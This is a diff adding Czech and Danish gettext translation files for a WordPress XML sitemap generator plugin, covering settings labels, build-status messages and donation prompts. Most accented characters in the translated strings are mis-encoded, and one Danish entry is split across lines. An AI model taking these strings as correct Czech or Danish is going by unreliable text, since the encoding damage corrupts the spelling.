+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Pokud bylo nÄco na vaÅ¡em serveru nebo blogu zmÄnÄno, mÄli byste <a href=\"%s\">aktualizovat sitemapu</a> ruÄnÄ."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Pokud zaregistrujete jakÃ©koli problÃ©my pÅi procesu aktualizace sitemapy, k zÃ­skÃ¡nÃ­ vÃ­ce informacÃ­ mÅ¯ÅŸete pouÅŸÃ­t <a href=\"%d\">ladÃ­cÃ­ funkci</a>."
+
+msgid "Basic Options"
+msgstr "ZÃ¡kladnÃ­ moÅŸnosti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "Soubory sitemapy:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "DozvÄdÄt se vÃ­c"
+
+msgid "Write a normal XML file (your filename)"
+msgstr "UklÃ¡dat normÃ¡lnÃ­ XML soubor (jmÃ©no vaÅ¡eho souboru)"
+
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "UklÃ¡dat komprimovanÃœ (gzip) soubor (jmÃ©no vaÅ¡eho souboru + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "MÃ³d aktualizace:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Aktualizovat sitemapu pÅi kaÅŸdÃ© zmÄnÄ v obsahu vaÅ¡eho blogu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Povolit ruÄnÃ­ aktualizaci sitemapy pomocÃ­ GET dotazu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "Toto umoÅŸnÃ­ aktualizovat vaÅ¡i sitemapu, pokud do databÃ¡ze Wordpressu zapÃ­Å¡e data nÄjakÃœ externÃ­ nÃ¡stroj bez vyuÅŸitÃ­ WordPress API. PouÅŸijte tuto URL ke spuÅ¡tÄnÃ­ procesu: <a href=\"%1\">%1</a>. ProsÃ­m zkontrolujte log-soubor vÃœÅ¡e, jestli byla sitemapa aktualizovÃ¡na ÃºspÄÅ¡nÄ."
+
+msgid "Update notification:"
+msgstr "OznÃ¡menÃ­ o aktualizaci:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "Oznamovat Googlu zmÄny na vaÅ¡em blogu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Registrace nenÃ­ vyÅŸadovÃ¡na, ale mÅ¯ÅŸe se pÅipojit k <a href=\"%s\">Google Webmaster Tools</a> kvÅ¯li kontrole statistik nÃ¡vÅ¡tÄv vyhledÃ¡vaÄe."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Oznamovat Ask.com zmÄny na vaÅ¡em blogu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "Registrace nenÃ­ vyÅŸadovÃ¡na."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "Oznamovat Yahoo zmÄny na vaÅ¡em blogu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3094
+#, php-format
+msgid "No registration required, but you can sign up for the <a href=\"%s\">YAHOO Site Explorer</a> to view the crawling progress."
+msgstr "Registrace nenÃ­ vyÅŸadovÃ¡na, ale mÅ¯ÅŸete se pÅihlÃ¡sit do <a href=\"%s\">YAHOO Site Explorer</a> kvÅ¯li prohlÃ­ÅŸenÃ­ postupu nÃ¡vÅ¡tÄv vyhledÃ¡vaÄe."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "Upravit nebo vytvoÅit %s soubor v koÅeni blogu, kterÃœ obsahuje adresu sitemapy."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "OprÃ¡vnÄnÃ­ k souboru:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "V poÅÃ¡dku, je moÅŸnÃ© zapisovat do robots.txt."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "Chyba, nenÃ­ moÅŸnÃ© zapisovat do robots.txt."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "V poÅÃ¡dku, robots.txt neexistuje, ale zÃ¡pis do adresÃ¡Åe je povolen."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "Chyba, robots.txt neexistuje a zÃ¡pis do adresÃ¡Åe nenÃ­ povolen."
+
+msgid "Advanced options:"
+msgstr "PokroÄilÃ© moÅŸnosti:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Omezit poÄet pÅÃ­spÄvkÅ¯ v sitemapÄ:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "NovÄjÅ¡Ã­ pÅÃ­spÄvky budou zahrnuty nejdÅÃ­ve"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "Zkuste navÃœÅ¡it limit pamÄti na:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "e.g. \"4M\", \"16M\""
+msgstr "napÅ: \"4M\", \"16M\""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "Try to increase the execution time limit to:"
+msgstr "Zkuste navÃœÅ¡it maximÃ¡lnÃ­ Äas provÃ¡dÄnÃ­ skriptu na:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3130
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "v sekundÃ¡ch, napÅ. \"60\" anebo \"0\" pro nekoneÄno"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Include a XSLT stylesheet:"
+msgstr "PÅipojit XSLT stylopis:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Use Default"
+msgstr "PouÅŸÃ­t vÃœchozÃ­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3133
+msgid "Full or relative URL to your .xsl file"
+msgstr "Adresa k vaÅ¡emu .xsl souboru"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "Povolit standardnÃ­ mÃ³d MySQL. Toto pouÅŸÃ­vejte jedinÄ kdyÅŸ se zobrazujÃ­ MySQL chyby - vyÅŸaduje to mnohem vÃ­c pamÄti!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "VytvÃ¡Ået sitemapu v pozadÃ­ (Tzn. nebudete muset Äekat pÅi uklÃ¡dÃ¡nÃ­ pÅÃ­spÄvku)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "Exclude the following posts or pages:"
+msgstr "VyÅadit tyto pÅÃ­spÄvky Äi strÃ¡nky:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+msgid "List of IDs, separated by comma"
+msgstr "Seznam ID oddÄlenÃœch ÄÃ¡rkou"
+
+msgid "Additional pages"
+msgstr "StrÃ¡nky navÃ­c"
+
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Zde mÅ¯ÅŸete nastavit URL adresy, kterÃ© majÃ­ bÃœt zahrnuty do sitemapy, ale nenÃ¡leÅŸÃ­ k blogu/WordPressu.<br />NapÅÃ­klad, pokud vaÅ¡e domÃ©na je www.nÄco.cz a vÃ¡Å¡ blog se nachÃ¡zÃ­ na www.nÄco.cz/blog, moÅŸnÃ¡ byste chtÄli zahrnout i www.nÄco.cz"
+
+msgid "Note"
+msgstr "PoznÃ¡mka"
+
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Je-li vÃ¡Å¡ blog v podsloÅŸce a chcete-li pÅidat strÃ¡nky, kterÃ© NEJSOU v adresÃ¡Åi blogu (anebo v podadresÃ¡ÅÃ­ch), MUSÃTE umÃ­stit vaÅ¡i sitemapu do koÅenovÃ© sloÅŸky (Viz sekce &quot;UmÃ­stÄnÃ­ vaÅ¡Ã­ sitemapy&quot; na tÃ©to strÃ¡nce)!"
+
+msgid "URL to the page"
+msgstr "URL strÃ¡nky"
+
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "VloÅŸte URL (adresu) strÃ¡nky. PÅÃ­klady: http://www.nÄco.cz/index.html nebo www.nÄco.cz/home "
+
+msgid "Priority"
+msgstr "Priorita"
+
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "Vyberte prioritu strÃ¡nky relativnÄ k ostatnÃ­m strÃ¡nkÃ¡m. NapÅÃ­klad, vaÅ¡e titulnÃ­ strÃ¡nka by mÄla mÃ­t vyÅ¡Å¡Ã­ prioritu neÅŸ strÃ¡nka O mnÄ."
+
+msgid "Last Changed"
+msgstr "Naposledy zmÄnÄno"
+
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "VloÅŸte datum poslednÃ­ zmÄny ve formÃ¡tu RRRR-MM-DD (napÅÃ­klad 2007-08-12) (nepovinnÃ©)."
+
+msgid "Change Frequency"
+msgstr "Nastavit frekvenci"
+
+msgid "#"
+msgstr "#"
+
+msgid "No pages defined."
+msgstr "Nejsou definovÃ¡ny ÅŸÃ¡dnÃ© strÃ¡nky."
+
+msgid "Add new page"
+msgstr "PÅidat novou strÃ¡nku"
+
+msgid "Post Priority"
+msgstr "Priorita pÅÃ­spÄvkÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Vyberte prosÃ­m zpÅ¯sob, kterÃœm mÃ¡ bÃœt priorita kaÅŸdÃ©ho z pÅÃ­spÄvkÅ¯ vypoÄÃ­tÃ¡vÃ¡na."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "Do not use automatic priority calculation"
+msgstr "NepouÅŸÃ­vat automatickÃœ vÃœpoÄet priority"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "VÅ¡echny pÅÃ­spÄvky budou mÃ­t stejnou prioritu, kterÃ¡ je definovÃ¡na v &quot;PrioritÃ¡ch&quot;"
+
+msgid "Location of your sitemap file"
+msgstr "UmÃ­stÄnÃ­ vaÅ¡Ã­ sitemapy"
+
+msgid "Automatic detection"
+msgstr "AutomatickÃ¡ detekce"
+
+msgid "Filename of the sitemap file"
+msgstr "JmÃ©no souboru sitemapy"
+
+msgid "Detected Path"
+msgstr "ZjiÅ¡tÄnÃ¡ cesta"
+
+msgid "Detected URL"
+msgstr "ZjiÅ¡tÄnÃ¡ URL"
+
+msgid "Custom location"
+msgstr "VlastnÃ­ umÃ­stÄnÃ­"
+
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "AbsolutnÃ­ nebo relativnÃ­ cesta k sitemapÄ, vÄetnÄ jmÃ©na souboru."
+
+msgid "Example"
+msgstr "PÅÃ­klad"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "CelÃ¡ URL k sitemapÄ, vÄetnÄ jmÃ©na."
+
+msgid "Sitemap Content"
+msgstr "Obsah sitemapy"
+
+msgid "Include homepage"
+msgstr "Zahrnout titulnÃ­ strÃ¡nku"
+
+msgid "Include posts"
+msgstr "Zahrnout pÅÃ­spÄvky"
+
+msgid "Include static pages"
+msgstr "Zahrnout statickÃ© strÃ¡nky"
+
+msgid "Include categories"
+msgstr "Zahrnout rubriky"
+
+msgid "Include archives"
+msgstr "Zahrnout archivy"
+
+msgid "Include tag pages"
+msgstr "Zahrnout strÃ¡nky Å¡tÃ­tkÅ¯"
+
+msgid "Include author pages"
+msgstr "Zahrnout strÃ¡nky autorÅ¯"
+
+msgid "Change frequencies"
+msgstr "NastavenÃ­ frekvence"
+
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Berte prosÃ­m na vÄdomÃ­, ÅŸe hodnota tohoto Å¡tÃ­tku je jen zvaÅŸovÃ¡na \"jako nÃ¡znak\", nenÃ­ to pÅÃ­kaz. PÅestoÅŸe vyhledÃ¡vacÃ­ roboti berou pÅi rozhodovÃ¡nÃ­ tuto hodnotu na vÄdomÃ­, pÅesto mohou navÅ¡tÄvovat strÃ¡nky oznaÄenÃ© jako \"kaÅŸdou hodinu\" mÃ©nÄ Äasto, a takÃ© mohou strÃ¡nky oznaÄenÃ© jako \"roÄnÄ\" navÅ¡tÄvovat ÄastÄji. RovnÄÅŸ je pravdÄpodobnÃ©, ÅŸe roboti budou naÅ¡tÄvovat i strÃ¡nky oznaÄenÃ© jako \"nikdy\" aby se mohli vypoÅÃ¡dat s neÄekanÃœmi zmÄnami na tÄchto strÃ¡nkÃ¡ch."
+
+msgid "Homepage"
+msgstr "TitulnÃ­ strÃ¡nka"
+
+msgid "Posts"
+msgstr "PÅÃ­spÄvky"
+
+msgid "Static pages"
+msgstr "StatickÃ© strÃ¡nky"
+
+msgid "Categories"
+msgstr "Rubriky"
+
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "StÃ¡vajÃ­cÃ­ archiv tohoto mÄsÃ­ce (MÄl by bÃœt stejnÃœ jako vaÅ¡e titulnÃ­ strÃ¡nka)"
+
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "StarÅ¡Ã­ archivy (MÄnÃ­ se jen kdyÅŸ upravÃ­te starÃœ pÅÃ­spÄvek)"
+
+msgid "Tag pages"
+msgstr "StrÃ¡nky Å¡tÃ­tkÅ¯"
+
+msgid "Author pages"
+msgstr "StrÃ¡nky autorÅ¯"
+
+msgid "Priorities"
+msgstr "Priority"
+
+msgid "Posts (If auto calculation is disabled)"
+msgstr "PÅÃ­spÄvky (KdyÅŸ je automatickÃœ vÃœpoÄet vypnutÃœ)"
+
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "MinimÃ¡lnÃ­ priorita pÅÃ­spÄvku (I kdyÅŸ je povolenÃœ automatickÃœ vÃœpoÄet)"
+
+msgid "Archives"
+msgstr "Archivy"
+
+msgid "Update options"
+msgstr "Aktualizovat moÅŸnosti"
+
+msgid "Reset options"
+msgstr "Vynulovat moÅŸnosti"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-da_DK.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-da_DK.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-da_DK.po	(revision 44)
@@ -0,0 +1,595 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 2502 2005-07-03 20:50:38Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2007-11-25 01:16+0100\n"
+"Last-Translator: Arne Brachhold <http://www.arnebrachhold.de>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+msgid "Comment Count"
+msgstr "Antal kommentar"
+
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Brug antallet af kommentarer til indlÃŠgget til at udregne prioriteten"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "Kommentar gennemsnit"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Bruger det gennemsnitlige antal kommentarer til at udregne prioriteten"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "Popularitets konkurrence"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Bruger det aktiveret <a href=\"%1\">Popularity Contest Plugin</a> fra <a href=\"%2\">Alex King</a>. Se <a href=\"%3\">indstillinger</a> og <a href=\"%4\">Mest populÃŠre indlÃŠg</a>"
+
+msgid "XML-Sitemap Generator"
+msgstr "XML-Sitemap Generator"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Mange tak for din donation. Du hjÃŠlper mig med at fortsÃŠtte support og udvikling af dette plugin og andet gratis software!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "Skjul denne meddelelse"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Tak fordi du bruger dette plugin! Du installerede dette plugin over en mÃ¥nede siden. Hvis det virker og du er tilfreds, er det sÃ¥ ikke bare en enkel dollar vÃŠrd? <a href=\"%s\">Donationer</a> hjÃŠlper mig med at fortsÃŠtte support og udvikling af dette <i>gratis</i> stykke software! <a href=\"%s\">SelvfÃžlgelig, ingen problem!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2606
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Nej tak, lad venligst vÃŠre med at forstyrre mig igen!"
+
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML-Sitemap Generator til Wordpress"
+
+msgid "Configuration updated"
+msgstr "Indstillingerne blev opdateret"
+
+msgid "Error while saving options"
+msgstr "Der forekom en fejl da indstilingerne skulle gemmes"
+
+msgid "Pages saved"
+msgstr "Sider gemt"
+
+msgid "Error while saving pages"
+msgstr "Der opstod en fejl da siderne skulle gemmes"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> er gemt"
+
+msgid "Error while saving Robots.txt file"
+msgstr "Der forekom en fejl da Robots.txt filen skulle gemmes"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "Standard indstillingerne er gendannet."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "Ã
+ben"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "Luk"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "tryk og trÃŠk for at flytte denne boks"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "klik for at %toggle% denne boks"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "brug piltasterne for at flytte denne boks"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", eller tryk pÃ¥ enter tasten for at %toggle% den"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "Om dette plugin:"
+
+msgid "Plugin Homepage"
+msgstr "Plugin hjemmeside"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "Informer liste"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "Support forum"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "Donere via PayPal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "Min Amazon Ãžnskeliste"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "translator_name"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "translator_url"
+
+msgid "Sitemap Resources:"
+msgstr "Sitemap ressourcer:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "Search Blog"
+
+msgid "Sitemaps Protocol"
+msgstr "Sitemap protocol"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "Officiel Sitemap FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "Dette Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "Seneste donationer:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "Liste over donationsgivere"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "Skjul denne liste"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "Tak for din support!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "Status"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Dette Sitemap er ikke bygget endnu. <a href=\"%s\">Klik her</a> for at bygge det for fÃžrste gang."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Dit <a href=\"%url%\">sitemap</a> blev sidst bygget den <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Der optod et problem under skrivning af din sitemap fil. Tjek om filen eksisterer og om den er skrivbar. <a href=\"%url%\">LÃŠr mere</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Dit sitemap (<a href=\"%url%\">gzipped</a>) blev bygget sidst den <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Der optod et problem under skrivningen af din pakkede sitemap fil. Tjek om filen eksisterer og er skrivbar.  <a href=\"%url%\">LÃŠr mere</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google blev <b>informeret korrekt</b> omkring ÃŠndringerne."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Det tog %time% sekunder at informerer google, mÃ¥ske skulle du deaktivere denn funktion for at reducerer bygge tiden."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2970
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Der opstod et problem under kommunikationen med Google. <a href=\"%s\">Se resultat</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo blev <b>informeret korrekt</b> omkring ÃŠndringerne."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
